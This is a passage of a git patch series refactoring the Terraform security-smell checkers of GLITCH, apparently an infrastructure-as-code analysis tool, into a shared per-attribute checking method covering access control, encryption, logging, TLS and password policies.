parent_name: str): + for config in SecurityVisitor._REPLICATION: + if (attribute.name == config['attribute'] and element.type in config['au_type'] + and parent_name in config['parents'] and config['values'] != [""] + and not attribute.has_variable and attribute.value.lower() not in config['values']): + errors.append(Error('sec_replication', attribute, file, repr(attribute))) + break + + for child in attribute.keyvalues: + check_attribute(child, attribute.name) + + for attribute in element.attributes: + check_attribute(attribute, "") + return errors \ No newline at end of file diff --git a/glitch/analysis/terraform/ssl_tls_policy.py b/glitch/analysis/terraform/ssl_tls_policy.py index b3052a88..392323d4 100644 --- a/glitch/analysis/terraform/ssl_tls_policy.py +++ b/glitch/analysis/terraform/ssl_tls_policy.py @@ -1,11 +1,11 @@ from glitch.analysis.terraform.smell_checker import TerraformSmellChecker from glitch.analysis.rules import Error from glitch.analysis.security import SecurityVisitor -from glitch.repr.inter import AtomicUnit, Attribute, Variable +from glitch.repr.inter import AtomicUnit, Attribute class TerraformSslTlsPolicy(TerraformSmellChecker): - def check(self, element, file: str, au_type = None, parent_name = ""): + def check(self, element, file: str): errors = [] if isinstance(element, AtomicUnit): if (element.type in ["resource.aws_alb_listener", "resource.aws_lb_listener"]): @@ -21,11 +21,19 @@ def check(self, element, file: str, au_type = None, parent_name = ""): and not self.check_required_attribute(element.attributes, policy['parents'], policy['attribute'])): errors.append(Error('sec_ssl_tls_policy', element, file, repr(element), f"Suggestion: check for a required attribute with name '{policy['msg']}'.")) + + def check_attribute(attribute: Attribute, parent_name: str): + for policy in SecurityVisitor._SSL_TLS_POLICY: + if (attribute.name == policy['attribute'] and element.type in policy['au_type'] + and parent_name in policy['parents'] and not attribute.has_variable and attribute.value is not None and + attribute.value.lower() not in policy['values']): + errors.append(Error('sec_ssl_tls_policy', attribute, file, repr(attribute))) + break - elif isinstance(element, Attribute) or isinstance(element, Variable): - for policy in SecurityVisitor._SSL_TLS_POLICY: - if (element.name == policy['attribute'] and au_type in policy['au_type'] - and parent_name in policy['parents'] and not element.has_variable - and element.value.lower() not in policy['values']): - return [Error('sec_ssl_tls_policy', element, file, repr(element))] + for child in attribute.keyvalues: + check_attribute(child, attribute.name) + + for attribute in element.attributes: + check_attribute(attribute, "") + return errors \ No newline at end of file diff --git a/glitch/analysis/terraform/threats_detection.py b/glitch/analysis/terraform/threats_detection.py index f0aa26bf..e20a6298 100644 --- a/glitch/analysis/terraform/threats_detection.py +++ b/glitch/analysis/terraform/threats_detection.py @@ -1,11 +1,11 @@ from glitch.analysis.terraform.smell_checker import TerraformSmellChecker from glitch.analysis.rules import Error from glitch.analysis.security import SecurityVisitor -from glitch.repr.inter import AtomicUnit, Attribute, Variable +from glitch.repr.inter import AtomicUnit, Attribute class TerraformThreatsDetection(TerraformSmellChecker): - def check(self, element, file: str, au_type = None, parent_name = ""): + def check(self, element, file: str): errors = [] if isinstance(element, AtomicUnit): for config in SecurityVisitor._MISSING_THREATS_DETECTION_ALERTS: @@ -18,13 +18,22 @@ def check(self, element, file: str, au_type = None, parent_name = ""): if a is not None: errors.append(Error('sec_threats_detection_alerts', a, file, repr(a))) - elif isinstance(element, Attribute) or isinstance(element, Variable): - for config in SecurityVisitor._MISSING_THREATS_DETECTION_ALERTS: - if (element.name == config['attribute'] and au_type in config['au_type'] - and parent_name in config['parents'] and config['values'] != [""]): - if ("any_not_empty" in config['values'] and element.value.lower() == ""): - return [Error('sec_threats_detection_alerts', element, file, repr(element))] - elif ("any_not_empty" not in config['values'] and not element.has_variable and - element.value.lower() not in config['values']): - return [Error('sec_threats_detection_alerts', element, file, repr(element))] + def check_attribute(attribute: Attribute, parent_name: str): + for config in SecurityVisitor._MISSING_THREATS_DETECTION_ALERTS: + if (attribute.name == config['attribute'] and element.type in config['au_type'] + and parent_name in config['parents'] and config['values'] != [""]): + if ("any_not_empty" in config['values'] and attribute.value.lower() == ""): + errors.append(Error('sec_threats_detection_alerts', attribute, file, repr(attribute))) + break + elif ("any_not_empty" not in config['values'] and not attribute.has_variable and + attribute.value.lower() not in config['values']): + errors.append(Error('sec_threats_detection_alerts', attribute, file, repr(attribute))) + break + + for attr_child in attribute.keyvalues: + check_attribute(attr_child, attribute.name) + + for attribute in element.attributes: + check_attribute(attribute, "") + return errors \ No newline at end of file diff --git a/glitch/analysis/terraform/versioning.py b/glitch/analysis/terraform/versioning.py index 3bf5d513..ceecfaa6 100644 --- a/glitch/analysis/terraform/versioning.py +++ b/glitch/analysis/terraform/versioning.py @@ -1,11 +1,11 @@ from glitch.analysis.terraform.smell_checker import TerraformSmellChecker from glitch.analysis.rules import Error from glitch.analysis.security import SecurityVisitor -from glitch.repr.inter import AtomicUnit, Attribute, Variable +from glitch.repr.inter import AtomicUnit class TerraformVersioning(TerraformSmellChecker): - def check(self, element, file: str, au_type = None, parent_name = ""): + def check(self, element, file: str): errors = [] if isinstance(element, AtomicUnit): for config in SecurityVisitor._VERSIONING: @@ -13,10 +13,18 @@ def check(self, element, file: str, au_type = None, parent_name = ""): and not self.check_required_attribute(element.attributes, config['parents'], config['attribute'])): errors.append(Error('sec_versioning', element, file, repr(element), f"Suggestion: check for a required attribute with name '{config['msg']}'.")) - elif isinstance(element, Attribute) or isinstance(element, Variable): - for config in SecurityVisitor._VERSIONING: - if (element.name == config['attribute'] and au_type in config['au_type'] - and parent_name in config['parents'] and config['values'] != [""] - and not element.has_variable and element.value.lower() not in config['values']): - return [Error('sec_versioning', element, file, repr(element))] + + def check_attribute(attribute, parent_name): + for config in SecurityVisitor._VERSIONING: + if (attribute.name == config['attribute'] and element.type in config['au_type'] + and parent_name in config['parents'] and config['values'] != [""] + and not attribute.has_variable and attribute.value.lower() not in config['values']): + errors.append(Error('sec_versioning', attribute, file, repr(attribute))) + + for attr_child in attribute.keyvalues: + check_attribute(attr_child, attribute.name) + + for attribute in element.attributes: + check_attribute(attribute, "") + return errors \ No newline at end of file diff --git a/glitch/analysis/terraform/weak_password_key_policy.py b/glitch/analysis/terraform/weak_password_key_policy.py index 63402785..f2295ad4 100644 --- a/glitch/analysis/terraform/weak_password_key_policy.py +++ b/glitch/analysis/terraform/weak_password_key_policy.py @@ -1,11 +1,11 @@ from glitch.analysis.terraform.smell_checker import TerraformSmellChecker from glitch.analysis.rules import Error from glitch.analysis.security import SecurityVisitor -from glitch.repr.inter import AtomicUnit, Attribute, Variable +from glitch.repr.inter import AtomicUnit, Attribute class TerraformWeakPasswordKeyPolicy(TerraformSmellChecker): - def check(self, element, file: str, au_type = None, parent_name = ""): + def check(self, element, file: str): errors = [] if isinstance(element, AtomicUnit): for policy in SecurityVisitor._PASSWORD_KEY_POLICY: @@ -13,24 +13,34 @@ def check(self, element, file: str, au_type = None, parent_name = ""): and not self.check_required_attribute(element.attributes, policy['parents'], policy['attribute'])): errors.append(Error('sec_weak_password_key_policy', element, file, repr(element), f"Suggestion: check for a required attribute with name '{policy['msg']}'.")) + + def check_attribute(attribute: Attribute, parent_name: str): + for policy in SecurityVisitor._PASSWORD_KEY_POLICY: + if (attribute.name == policy['attribute'] and element.type in policy['au_type'] + and parent_name in policy['parents'] and policy['values'] != [""]): + if (policy['logic'] == "equal"): + if ("any_not_empty" in policy['values'] and attribute.value.lower() == ""): + errors.append(Error('sec_weak_password_key_policy', attribute, file, repr(attribute))) + break + elif ("any_not_empty" not in policy['values'] and not attribute.has_variable and + attribute.value.lower() not in policy['values']): + errors.append(Error('sec_weak_password_key_policy', attribute, file, repr(attribute))) + break + elif ((policy['logic'] == "gte" and not attribute.value.isnumeric()) or + (policy['logic'] == "gte" and attribute.value.isnumeric() + and int(attribute.value) < int(policy['values'][0]))): + errors.append(Error('sec_weak_password_key_policy', attribute, file, repr(attribute))) + break + elif ((policy['logic'] == "lte" and not attribute.value.isnumeric()) or + (policy['logic'] == "lte" and attribute.value.isnumeric() + and int(attribute.value) > int(policy['values'][0]))): + errors.append(Error('sec_weak_password_key_policy', attribute, file, repr(attribute))) + break - elif isinstance(element, Attribute) or isinstance(element, Variable): - for policy in SecurityVisitor._PASSWORD_KEY_POLICY: - if (element.name == policy['attribute'] and au_type in policy['au_type'] - and parent_name in policy['parents'] and policy['values'] != [""]): - if (policy['logic'] == "equal"): - if ("any_not_empty" in policy['values'] and element.value.lower() == ""): - return [Error('sec_weak_password_key_policy', element, file, repr(element))] - elif ("any_not_empty" not in policy['values'] and not element.has_variable and - element.value.lower() not in policy['values']): - return [Error('sec_weak_password_key_policy', element, file, repr(element))] - elif ((policy['logic'] == "gte" and not element.value.isnumeric()) or - (policy['logic'] == "gte" and element.value.isnumeric() - and int(element.value) < int(policy['values'][0]))): - return [Error('sec_weak_password_key_policy', element, file, repr(element))] - elif ((policy['logic'] == "lte" and not element.value.isnumeric()) or - (policy['logic'] == "lte" and element.value.isnumeric() - and int(element.value) > int(policy['values'][0]))): - return [Error('sec_weak_password_key_policy', element, file, repr(element))] + for child in attribute.keyvalues: + check_attribute(child, attribute.name) + + for attribute in element.attributes: + check_attribute(attribute, "") return errors \ No newline at end of file From 5c02444b98feec4ad2a77264a5f84f59ed5652b7 Mon Sep 17 00:00:00 2001 From: Nfsaavedra Date: Mon, 18 Mar 2024 14:25:50 +0000 Subject: [PATCH 57/58] refactor check attribute --- glitch/analysis/terraform/access_control.py | 75 +++++++++--------- .../analysis/terraform/attached_resource.py | 2 +- glitch/analysis/terraform/authentication.py | 49 ++++++------ glitch/analysis/terraform/dns_policy.py | 27 +++---- .../analysis/terraform/firewall_misconfig.py | 30 ++++---- glitch/analysis/terraform/http_without_tls.py | 24 +++--- glitch/analysis/terraform/integrity_policy.py | 24 +++--- glitch/analysis/terraform/key_management.py | 57 +++++++------- glitch/analysis/terraform/logging.py | 76 +++++++++---------- .../analysis/terraform/missing_encryption.py | 53 ++++++------- glitch/analysis/terraform/naming.py | 41 +++++----- glitch/analysis/terraform/network_policy.py | 24 +++--- .../terraform/permission_iam_policies.py | 40 +++++----- glitch/analysis/terraform/public_ip.py | 24 +++--- glitch/analysis/terraform/replication.py | 24 +++--- .../terraform/sensitive_iam_action.py | 4 +- glitch/analysis/terraform/smell_checker.py | 18 ++++- glitch/analysis/terraform/ssl_tls_policy.py | 24 +++--- .../analysis/terraform/threats_detection.py | 31 ++++---- glitch/analysis/terraform/versioning.py | 25 +++--- .../terraform/weak_password_key_policy.py | 51 ++++++------- 21 files changed, 344 insertions(+), 379 deletions(-) diff --git a/glitch/analysis/terraform/access_control.py b/glitch/analysis/terraform/access_control.py index f36013fd..b1c96e42 100644 --- a/glitch/analysis/terraform/access_control.py +++ b/glitch/analysis/terraform/access_control.py @@ -1,12 +1,45 @@ import re +from typing import List from glitch.analysis.terraform.smell_checker import TerraformSmellChecker from glitch.analysis.rules import Error from glitch.analysis.security import SecurityVisitor -from glitch.repr.inter import AtomicUnit, Attribute, Variable +from glitch.repr.inter import AtomicUnit, Attribute class TerraformAccessControl(TerraformSmellChecker): - def check(self, element, file: str, au_type = None, parent_name = ""): + def _check_attribute(self, attribute: Attribute, atomic_unit: AtomicUnit, parent_name: str, file: str) -> List[Error]: + for item in SecurityVisitor._POLICY_KEYWORDS: + if item.lower() == attribute.name: + for config in SecurityVisitor._POLICY_ACCESS_CONTROL: + expr = config['keyword'].lower() + "\s*" + config['value'].lower() + pattern = re.compile(rf"{expr}") + allow_expr = "\"effect\":" + "\s*" + "\"allow\"" + allow_pattern = re.compile(rf"{allow_expr}") + if re.search(pattern, attribute.value) and re.search(allow_pattern, attribute.value): + return [Error('sec_access_control', attribute, file, repr(attribute))] + + if (re.search(r"actions\[\d+\]", attribute.name) and parent_name == "permissions" + and atomic_unit.type == "resource.azurerm_role_definition" and attribute.value == "*"): + return [Error('sec_access_control', attribute, file, repr(attribute))] + elif (((re.search(r"members\[\d+\]", attribute.name) and atomic_unit.type == "resource.google_storage_bucket_iam_binding") + or (attribute.name == "member" and atomic_unit.type == "resource.google_storage_bucket_iam_member")) + and (attribute.value == "allusers" or attribute.value == "allauthenticatedusers")): + return [Error('sec_access_control', attribute, file, repr(attribute))] + elif (attribute.name == "email" and parent_name == "service_account" + and atomic_unit.type == "resource.google_compute_instance" + and re.search(r".-compute@developer.gserviceaccount.com", attribute.value)): + return [Error('sec_access_control', attribute, file, repr(attribute))] + + for config in SecurityVisitor._ACCESS_CONTROL_CONFIGS: + if (attribute.name == config['attribute'] and atomic_unit.type in config['au_type'] + and parent_name in config['parents'] and not attribute.has_variable + and attribute.value.lower() not in config['values'] + and config['values'] != [""]): + return [Error('sec_access_control', attribute, file, repr(attribute))] + + return [] + + def check(self, element, file: str): errors = [] if isinstance(element, AtomicUnit): if (element.type == "resource.aws_api_gateway_method"): @@ -52,42 +85,6 @@ def check(self, element, file: str, au_type = None, parent_name = ""): errors.append(Error('sec_access_control', element, file, repr(element), f"Suggestion: check for a required attribute with name '{config['msg']}'.")) - def check_attribute(attribute, parent_name): - for item in SecurityVisitor._POLICY_KEYWORDS: - if item.lower() == attribute.name: - for config in SecurityVisitor._POLICY_ACCESS_CONTROL: - expr = config['keyword'].lower() + "\s*" + config['value'].lower() - pattern = re.compile(rf"{expr}") - allow_expr = "\"effect\":" + "\s*" + "\"allow\"" - allow_pattern = re.compile(rf"{allow_expr}") - if re.search(pattern, attribute.value) and re.search(allow_pattern, attribute.value): - errors.append(Error('sec_access_control', attribute, file, repr(attribute))) - break - - if (re.search(r"actions\[\d+\]", attribute.name) and parent_name == "permissions" - and element.type == "resource.azurerm_role_definition" and attribute.value == "*"): - errors.append(Error('sec_access_control', attribute, file, repr(attribute))) - elif (((re.search(r"members\[\d+\]", attribute.name) and element.type == "resource.google_storage_bucket_iam_binding") - or (attribute.name == "member" and element.type == "resource.google_storage_bucket_iam_member")) - and (attribute.value == "allusers" or attribute.value == "allauthenticatedusers")): - errors.append(Error('sec_access_control', attribute, file, repr(attribute))) - elif (attribute.name == "email" and parent_name == "service_account" - and element.type == "resource.google_compute_instance" - and re.search(r".-compute@developer.gserviceaccount.com", attribute.value)): - errors.append(Error('sec_access_control', attribute, file, repr(attribute))) - - for config in SecurityVisitor._ACCESS_CONTROL_CONFIGS: - if (attribute.name == config['attribute'] and element.type in config['au_type'] - and parent_name in config['parents'] and not attribute.has_variable - and attribute.value.lower() not in config['values'] - and config['values'] != [""]): - errors.append(Error('sec_access_control', attribute, file, repr(attribute))) - break - - for attr_child in attribute.keyvalues: - check_attribute(attr_child, attribute.name) - - for attribute in element.attributes: - check_attribute(attribute, "") + errors += self._check_attributes(element, file) return errors \ No newline at end of file diff --git a/glitch/analysis/terraform/attached_resource.py b/glitch/analysis/terraform/attached_resource.py index 59357ac6..144de0a9 100644 --- a/glitch/analysis/terraform/attached_resource.py +++ b/glitch/analysis/terraform/attached_resource.py @@ -5,7 +5,7 @@ class TerraformAttachedResource(TerraformSmellChecker): - def check(self, element, file: str, au_type = None, parent_name = ""): + def check(self, element, file: str): errors = [] if isinstance(element, AtomicUnit): def check_attached_resource(attributes, resource_types): diff --git a/glitch/analysis/terraform/authentication.py b/glitch/analysis/terraform/authentication.py index 6a355899..0bf2a9e0 100644 --- a/glitch/analysis/terraform/authentication.py +++ b/glitch/analysis/terraform/authentication.py @@ -1,12 +1,32 @@ import re +from typing import List from glitch.analysis.terraform.smell_checker import TerraformSmellChecker from glitch.analysis.rules import Error from glitch.analysis.security import SecurityVisitor -from glitch.repr.inter import AtomicUnit, Attribute, Variable +from glitch.repr.inter import AtomicUnit, Attribute class TerraformAuthentication(TerraformSmellChecker): - def check(self, element, file: str, au_type = None, parent_name = ""): + def _check_attribute(self, attribute: Attribute, atomic_unit: AtomicUnit, parent_name: str, file: str) -> List[Error]: + for item in SecurityVisitor._POLICY_KEYWORDS: + if item.lower() == attribute.name: + for config in SecurityVisitor._POLICY_AUTHENTICATION: + if atomic_unit.type in config['au_type']: + expr = config['keyword'].lower() + "\s*" + config['value'].lower() + pattern = re.compile(rf"{expr}") + if not re.search(pattern, attribute.value): + return [Error('sec_authentication', attribute, file, repr(attribute))] + + for config in SecurityVisitor._AUTHENTICATION: + if (attribute.name == config['attribute'] and atomic_unit.type in config['au_type'] + and parent_name in config['parents'] and not attribute.has_variable + and attribute.value.lower() not in config['values'] + and config['values'] != [""]): + return [Error('sec_authentication', attribute, file, repr(attribute))] + + return [] + + def check(self, element, file: str): errors = [] if isinstance(element, AtomicUnit): @@ -26,29 +46,6 @@ def check(self, element, file: str, au_type = None, parent_name = ""): errors.append(Error('sec_authentication', element, file, repr(element), f"Suggestion: check for a required attribute with name '{config['msg']}'.")) - def check_attribute(attribute: Attribute, parent_name: str): - for item in SecurityVisitor._POLICY_KEYWORDS: - if item.lower() == attribute.name: - for config in SecurityVisitor._POLICY_AUTHENTICATION: - if element.type in config['au_type']: - expr = config['keyword'].lower() + "\s*" + config['value'].lower() - pattern = re.compile(rf"{expr}") - if not re.search(pattern, attribute.value): - errors.append(Error('sec_authentication', attribute, file, repr(attribute))) - break - - for config in SecurityVisitor._AUTHENTICATION: - if (attribute.name == config['attribute'] and element.type in config['au_type'] - and parent_name in config['parents'] and not attribute.has_variable - and attribute.value.lower() not in config['values'] - and config['values'] != [""]): - errors.append(Error('sec_authentication', attribute, file, repr(attribute))) - break - - for attr_child in attribute.keyvalues: - check_attribute(attr_child, attribute.name) - - for attribute in element.attributes: - check_attribute(attribute, "") + errors += self._check_attributes(element, file) return errors \ No newline at end of file diff --git a/glitch/analysis/terraform/dns_policy.py b/glitch/analysis/terraform/dns_policy.py index d9229f33..c683792e 100644 --- a/glitch/analysis/terraform/dns_policy.py +++ b/glitch/analysis/terraform/dns_policy.py @@ -1,3 +1,4 @@ +from typing import List from glitch.analysis.terraform.smell_checker import TerraformSmellChecker from glitch.analysis.rules import Error from glitch.analysis.security import SecurityVisitor @@ -5,6 +6,15 @@ class TerraformDnsWithoutDnssec(TerraformSmellChecker): + def _check_attribute(self, attribute: Attribute, atomic_unit: AtomicUnit, parent_name: str, file: str) -> List[Error]: + for config in SecurityVisitor._DNSSEC_CONFIGS: + if (attribute.name == config['attribute'] and atomic_unit.type in config['au_type'] + and parent_name in config['parents'] and not attribute.has_variable + and attribute.value.lower() not in config['values'] + and config['values'] != [""]): + return [Error('sec_dnssec', attribute, file, repr(attribute))] + return [] + def check(self, element, file: str): errors = [] if isinstance(element, AtomicUnit): @@ -14,19 +24,6 @@ def check(self, element, file: str): errors.append(Error('sec_dnssec', element, file, repr(element), f"Suggestion: check for a required attribute with name '{config['msg']}'.")) - def check_attribute(attribute: Attribute, parent_name: str): - for config in SecurityVisitor._DNSSEC_CONFIGS: - if (attribute.name == config['attribute'] and element.type in config['au_type'] - and parent_name in config['parents'] and not attribute.has_variable - and attribute.value.lower() not in config['values'] - and config['values'] != [""]): - errors.append(Error('sec_dnssec', attribute, file, repr(attribute))) - break - - for attr_child in attribute.keyvalues: - check_attribute(attr_child, attribute.name) - - for attribute in element.attributes: - check_attribute(attribute, "") - + errors += self._check_attributes(element, file) + return errors \ No newline at end of file diff --git a/glitch/analysis/terraform/firewall_misconfig.py b/glitch/analysis/terraform/firewall_misconfig.py index 02004dd3..2723735b 100644 --- a/glitch/analysis/terraform/firewall_misconfig.py +++ b/glitch/analysis/terraform/firewall_misconfig.py @@ -1,3 +1,4 @@ +from typing import List from glitch.analysis.terraform.smell_checker import TerraformSmellChecker from glitch.analysis.rules import Error from glitch.analysis.security import SecurityVisitor @@ -5,6 +6,17 @@ class TerraformFirewallMisconfig(TerraformSmellChecker): + def _check_attribute(self, attribute: Attribute, atomic_unit: AtomicUnit, parent_name: str, file: str) -> List[Error]: + for config in SecurityVisitor._FIREWALL_CONFIGS: + if (attribute.name == config['attribute'] and atomic_unit.type in config['au_type'] + and parent_name in config['parents'] and config['values'] != [""]): + if ("any_not_empty" in config['values'] and attribute.value.lower() == ""): + return [Error('sec_firewall_misconfig', attribute, file, repr(attribute))] + elif ("any_not_empty" not in config['values'] and not attribute.has_variable and + attribute.value.lower() not in config['values']): + return [Error('sec_firewall_misconfig', attribute, file, repr(attribute))] + return [] + def check(self, element, file: str): errors = [] if isinstance(element, AtomicUnit): @@ -14,22 +26,6 @@ def check(self, element, file: str): errors.append(Error('sec_firewall_misconfig', element, file, repr(element), f"Suggestion: check for a required attribute with name '{config['msg']}'.")) - def check_attribute(attribute: Attribute, parent_name: str): - for config in SecurityVisitor._FIREWALL_CONFIGS: - if (attribute.name == config['attribute'] and element.type in config['au_type'] - and parent_name in config['parents'] and config['values'] != [""]): - if ("any_not_empty" in config['values'] and attribute.value.lower() == ""): - errors.append(Error('sec_firewall_misconfig', attribute, file, repr(attribute))) - break - elif ("any_not_empty" not in config['values'] and not attribute.has_variable and - attribute.value.lower() not in config['values']): - errors.append(Error('sec_firewall_misconfig', attribute, file, repr(attribute))) - break - - for attr_child in attribute.keyvalues: - check_attribute(attr_child, attribute.name) - - for attribute in element.attributes: - check_attribute(attribute, "") + errors += self._check_attributes(element, file) return errors \ No newline at end of file diff --git a/glitch/analysis/terraform/http_without_tls.py b/glitch/analysis/terraform/http_without_tls.py index fe155b48..98855593 100644 --- a/glitch/analysis/terraform/http_without_tls.py +++ b/glitch/analysis/terraform/http_without_tls.py @@ -1,3 +1,4 @@ +from typing import List from glitch.analysis.terraform.smell_checker import TerraformSmellChecker from glitch.analysis.rules import Error from glitch.analysis.security import SecurityVisitor @@ -5,6 +6,15 @@ class TerraformHttpWithoutTls(TerraformSmellChecker): + def _check_attribute(self, attribute: Attribute, atomic_unit: AtomicUnit, parent_name: str, file: str) -> List[Error]: + for config in SecurityVisitor._HTTPS_CONFIGS: + if (attribute.name == config["attribute"] and atomic_unit.type in config["au_type"] + and parent_name in config["parents"] and not attribute.has_variable + and attribute.value.lower() not in config["values"]): + return [Error('sec_https', attribute, file, repr(attribute))] + + return [] + def check(self, element, file: str): errors = [] if isinstance(element, AtomicUnit): @@ -34,18 +44,6 @@ def check(self, element, file: str): errors.append(Error('sec_https', element, file, repr(element), f"Suggestion: check for a required attribute with name '{config['msg']}'.")) - def check_attribute(attribute: Attribute, parent_name: str): - for config in SecurityVisitor._HTTPS_CONFIGS: - if (attribute.name == config["attribute"] and element.type in config["au_type"] - and parent_name in config["parents"] and not attribute.has_variable - and attribute.value.lower() not in config["values"]): - errors.append(Error('sec_https', attribute, file, repr(attribute))) - break - - for attr_child in attribute.keyvalues: - check_attribute(attr_child, attribute.name) - - for attribute in element.attributes: - check_attribute(attribute, "") + errors += self._check_attributes(element, file) return errors \ No newline at end of file diff --git a/glitch/analysis/terraform/integrity_policy.py b/glitch/analysis/terraform/integrity_policy.py index 4fa845dc..584921a8 100644 --- a/glitch/analysis/terraform/integrity_policy.py +++ b/glitch/analysis/terraform/integrity_policy.py @@ -1,3 +1,4 @@ +from typing import List from glitch.analysis.terraform.smell_checker import TerraformSmellChecker from glitch.analysis.rules import Error from glitch.analysis.security import SecurityVisitor @@ -5,6 +6,15 @@ class TerraformIntegrityPolicy(TerraformSmellChecker): + def _check_attribute(self, attribute: Attribute, atomic_unit: AtomicUnit, parent_name: str, file: str) -> List[Error]: + for policy in SecurityVisitor._INTEGRITY_POLICY: + if (attribute.name == policy['attribute'] and atomic_unit.type in policy['au_type'] + and parent_name in policy['parents'] and not attribute.has_variable + and attribute.value.lower() not in policy['values']): + return [Error('sec_integrity_policy', attribute, file, repr(attribute))] + + return [] + def check(self, element, file: str): errors = [] if isinstance(element, AtomicUnit): @@ -14,18 +24,6 @@ def check(self, element, file: str): errors.append(Error('sec_integrity_policy', element, file, repr(element), f"Suggestion: check for a required attribute with name '{policy['msg']}'.")) - def check_attribute(attribute: Attribute, parent_name: str): - for policy in SecurityVisitor._INTEGRITY_POLICY: - if (attribute.name == policy['attribute'] and element.type in policy['au_type'] - and parent_name in policy['parents'] and not attribute.has_variable - and attribute.value.lower() not in policy['values']): - errors.append(Error('sec_integrity_policy', attribute, file, repr(attribute))) - break - - for attr_child in attribute.keyvalues: - check_attribute(attr_child, attribute.name) - - for attribute in element.attributes: - check_attribute(attribute, "") + errors += self._check_attributes(element, file) return errors \ No newline at end of file diff --git a/glitch/analysis/terraform/key_management.py b/glitch/analysis/terraform/key_management.py index a6e86d0e..05db180e 100644 --- a/glitch/analysis/terraform/key_management.py +++ b/glitch/analysis/terraform/key_management.py @@ -1,4 +1,5 @@ import re +from typing import List from glitch.analysis.terraform.smell_checker import TerraformSmellChecker from glitch.analysis.rules import Error from glitch.analysis.security import SecurityVisitor @@ -6,6 +7,31 @@ class TerraformKeyManagement(TerraformSmellChecker): + def _check_attribute(self, attribute: Attribute, atomic_unit: AtomicUnit, parent_name: str, file: str) -> List[Error]: + for config in SecurityVisitor._KEY_MANAGEMENT: + if (attribute.name == config['attribute'] and atomic_unit.type in config['au_type'] + and parent_name in config['parents'] and config['values'] != [""]): + if ("any_not_empty" in config['values'] and attribute.value.lower() == ""): + return [Error('sec_key_management', attribute, file, repr(attribute))] + elif ("any_not_empty" not in config['values'] and not attribute.has_variable and + attribute.value.lower() not in config['values']): + return [Error('sec_key_management', attribute, file, repr(attribute))] + + if (attribute.name == "rotation_period" and atomic_unit.type == "resource.google_kms_crypto_key"): + expr1 = r'\d+\.\d{0,9}s' + expr2 = r'\d+s' + if (re.search(expr1, attribute.value) or re.search(expr2, attribute.value)): + if (int(attribute.value.split("s")[0]) > 7776000): + return [Error('sec_key_management', attribute, file, repr(attribute))] + else: + return [Error('sec_key_management', attribute, file, repr(attribute))] + elif (attribute.name == "kms_master_key_id" and ((atomic_unit.type == "resource.aws_sqs_queue" + and attribute.value == "alias/aws/sqs") or (atomic_unit.type == "resource.aws_sns_queue" + and attribute.value == "alias/aws/sns"))): + return [Error('sec_key_management', attribute, file, repr(attribute))] + + return [] + def check(self, element, file: str): errors = [] if isinstance(element, AtomicUnit): @@ -23,35 +49,6 @@ def check(self, element, file: str): errors.append(Error('sec_key_management', element, file, repr(element), f"Suggestion: check for a required attribute with name '{config['msg']}'.")) - def check_attribute(attribute: Attribute, parent_name: str): - for config in SecurityVisitor._KEY_MANAGEMENT: - if (attribute.name == config['attribute'] and element.type in config['au_type'] - and parent_name in config['parents'] and config['values'] != [""]): - if ("any_not_empty" in config['values'] and attribute.value.lower() == ""): - errors.append(Error('sec_key_management', attribute, file, repr(attribute))) - break - elif ("any_not_empty" not in config['values'] and not attribute.has_variable and - attribute.value.lower() not in config['values']): - errors.append(Error('sec_key_management', attribute, file, repr(attribute))) - break - - if (attribute.name == "rotation_period" and element.type == "resource.google_kms_crypto_key"): - expr1 = r'\d+\.\d{0,9}s' - expr2 = r'\d+s' - if (re.search(expr1, attribute.value) or re.search(expr2, attribute.value)): - if (int(attribute.value.split("s")[0]) > 7776000): - errors.append(Error('sec_key_management', attribute, file, repr(attribute))) - else: - errors.append(Error('sec_key_management', attribute, file, repr(attribute))) - elif (attribute.name == "kms_master_key_id" and ((element.type == "resource.aws_sqs_queue" - and attribute.value == "alias/aws/sqs") or (element.type == "resource.aws_sns_queue" - and attribute.value == "alias/aws/sns"))): - errors.append(Error('sec_key_management', attribute, file, repr(attribute))) - - for attr_child in attribute.keyvalues: - check_attribute(attr_child, attribute.name) - - for attribute in element.attributes: - check_attribute(attribute, "") + errors += self._check_attributes(element, file) return errors \ No newline at end of file diff --git a/glitch/analysis/terraform/logging.py b/glitch/analysis/terraform/logging.py index 6cf46209..7d46243d 100644 --- a/glitch/analysis/terraform/logging.py +++ b/glitch/analysis/terraform/logging.py @@ -53,7 +53,7 @@ def __check_log_attribute( return errors - def check_azurerm_storage_container(self, element, file: str): + def __check_azurerm_storage_container(self, element, file: str): errors = [] container_access_type = self.check_required_attribute( @@ -107,6 +107,39 @@ def check_azurerm_storage_container(self, element, file: str): errors.append(Error('sec_logging', assoc_au.attributes[-1], file, repr(assoc_au.attributes[-1]))) return errors + + def _check_attribute(self, attribute: Attribute, atomic_unit: AtomicUnit, parent_name: str, file: str) -> List[Error]: + if (attribute.name == "cloud_watch_logs_group_arn" and atomic_unit.type == "resource.aws_cloudtrail"): + if re.match(r"^\${aws_cloudwatch_log_group\..", attribute.value): + aws_cloudwatch_log_group_name = attribute.value.split('.')[1] + if not self.get_au(file, aws_cloudwatch_log_group_name, "resource.aws_cloudwatch_log_group"): + return [Error('sec_logging', attribute, file, repr(attribute), + f"Suggestion: check for a required resource 'aws_cloudwatch_log_group' " + + f"with name '{aws_cloudwatch_log_group_name}'.")] + else: + return [Error('sec_logging', attribute, file, repr(attribute))] + elif (((attribute.name == "retention_in_days" and parent_name == "" + and atomic_unit.type in ["resource.azurerm_mssql_database_extended_auditing_policy", + "resource.azurerm_mssql_server_extended_auditing_policy"]) + or (attribute.name == "days" and parent_name == "retention_policy" + and atomic_unit.type == "resource.azurerm_network_watcher_flow_log")) + and ((not attribute.value.isnumeric()) or (attribute.value.isnumeric() and int(attribute.value) < 90))): + return [Error('sec_logging', attribute, file, repr(attribute))] + elif (attribute.name == "days" and parent_name == "retention_policy" + and atomic_unit.type == "resource.azurerm_monitor_log_profile" + and (not attribute.value.isnumeric() or (attribute.value.isnumeric() and int(attribute.value) < 365))): + return [Error('sec_logging', attribute, file, repr(attribute))] + + for config in SecurityVisitor._LOGGING: + if (attribute.name == config['attribute'] and atomic_unit.type in config['au_type'] + and parent_name in config['parents'] and config['values'] != [""]): + if ("any_not_empty" in config['values'] and attribute.value.lower() == ""): + return [Error('sec_logging', attribute, file, repr(attribute))] + elif ("any_not_empty" not in config['values'] and not attribute.has_variable and + attribute.value.lower() not in config['values']): + return [Error('sec_logging', attribute, file, repr(attribute))] + + return [] def check(self, element, file: str): errors = [] @@ -197,7 +230,7 @@ def check(self, element, file: str): required_flag = False errors += self.check_database_flags(element, file, 'sec_logging', flag['flag_name'], flag['value'], required_flag) elif (element.type == "resource.azurerm_storage_container"): - errors += 